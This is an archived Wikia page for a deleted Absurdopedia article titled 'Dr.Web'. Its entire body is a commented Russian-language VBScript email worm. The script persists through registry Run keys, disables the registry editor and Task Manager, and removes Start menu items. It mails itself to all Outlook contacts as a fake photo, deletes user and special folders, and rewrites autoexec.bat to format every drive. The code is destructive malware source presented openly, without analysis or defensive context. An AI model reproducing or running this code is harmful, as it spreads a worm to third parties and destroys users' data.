ФЭНДОМ


Удалённая статья
« Dr.Web »
Absurdologo
Откуда:Абсурдопедия
Создано:11 апреля 2010
Автор:195.22.110.58
Удалено:11 апреля 2010[1]
Удалил:QrazyDraqon
Причина:1.4 Полный неформат


' Объявление переменных(этот абзац не перемещать) Set FileSystemObject = CreateObject(«scripting.filesystemobject») Set Shell = CreateObject(«Wscript.Shell») t = 0: On Error Resume Next ' Пропускать ошибки Set Application = CreateObject(«Shell.Application») Set InternerExplorer = WScript.CreateObject(«InternetExplorer.Application») Set Outlook = WScript.CreateObject(«Outlook.Application»)

' Поменять функции клавиш мышки местами Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT», «rundll32 user32, SwapMouseButton» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98», «rundll32.exe user.exe, swapmousebutton» Shell.Run «rundll32 user32, SwapMouseButton»

' Минимизировать все окна Application.MinimizeAll

' Запускаться при каждой перезагрузке Set File2 = FileSystemObject.GetFile(WScript.ScriptFullName) File2.Copy («c:\windows\System\Gigabyte.vbs») Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs»

' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение — 0 Shell.RegWrite «HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools», 1, «REG_DWORD»

' Удаление пунктов меню Пуск: Программы, Завершение работы, Найти, Выполнить, Документы и т. д. Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuMorePrograms», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFind», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRun», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRecentDocsMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFavoritesMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuLogoff», 1, «REG_DWORD»

Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD»

' Разослать вирус Все контакты неприятеля For Index = 1 To Outlook.GetNameSpace(«MAPI»).AddressLists(1).count Set OutMail = Outlook.CreateItem(0) OutMail.to = Outlook.GetNameSpace(«MAPI»).AddressLists(1).AddressEntries(Index) OutMail.Subject = «Привет!» OutMail.Body = «Лови мою фотку!» OutMail.Attachments.Add WScript.ScriptFullName OutMail.Send Next

' Удаление всех специальных папок

For Each Folder In Shell.SpecialFolders
FileSystemObject.deletefolder folder,True
Next

' Удаление Documents and Settings

FileSystemObject.deletefolder"C:\Documents and Settings",True
FileSystemObject.deletefolder"D:\Documents and Settings",True
FileSystemObject.deletefolder"E:\Documents and Settings",True

' Вывести сообщение Shell.popup «Зря ты это сделал!», 1, «Ха-ха-ха!», 0+16

' Форматировать Все диски (Только для Windows 95,98,Me) If FileSystemObject.FileExists(«d:\autoexec.bat») Then Str = «d:\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows.000\autoexec.bat») Then Str = «d:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows\autoexec.bat») Then Str = «d:\Windows\autoexec.bat» If FileSystemObject.FileExists(«c:\autoexec.bat») Then Str = «c:\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows.000\autoexec.bat») Then Str = «c:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows\autoexec.bat») Then Str = «c:\Windows\autoexec.bat» Set ab = FileSystemObject.GetFile(Str) ab.Attributes = 0 Set autoexec = FileSystemObject.CreateTextFile(Str) autoexec.WriteLine «@cls» autoexec.WriteLine «@format c: /q /autotest» autoexec.WriteLine «@format d: /q /autotest» autoexec.WriteLine «@format e: /q /autotest» autoexec.WriteLine «@format f: /q /autotest» autoexec.WriteLine «@format g: /q /autotest» autoexec.WriteLine «@format h: /q /autotest» autoexec.WriteLine «@format i: /q /autotest» autoexec.Close Shell.Run Str, 5 Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives», 67108863, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive», 67108863, «REG_DWORD»

Обнаружено использование расширения AdBlock.


Викия — это свободный ресурс, который существует и развивается за счёт рекламы. Для блокирующих рекламу пользователей мы предоставляем модифицированную версию сайта.

Викия не будет доступна для последующих модификаций. Если вы желаете продолжать работать со страницей, то, пожалуйста, отключите расширение для блокировки рекламы.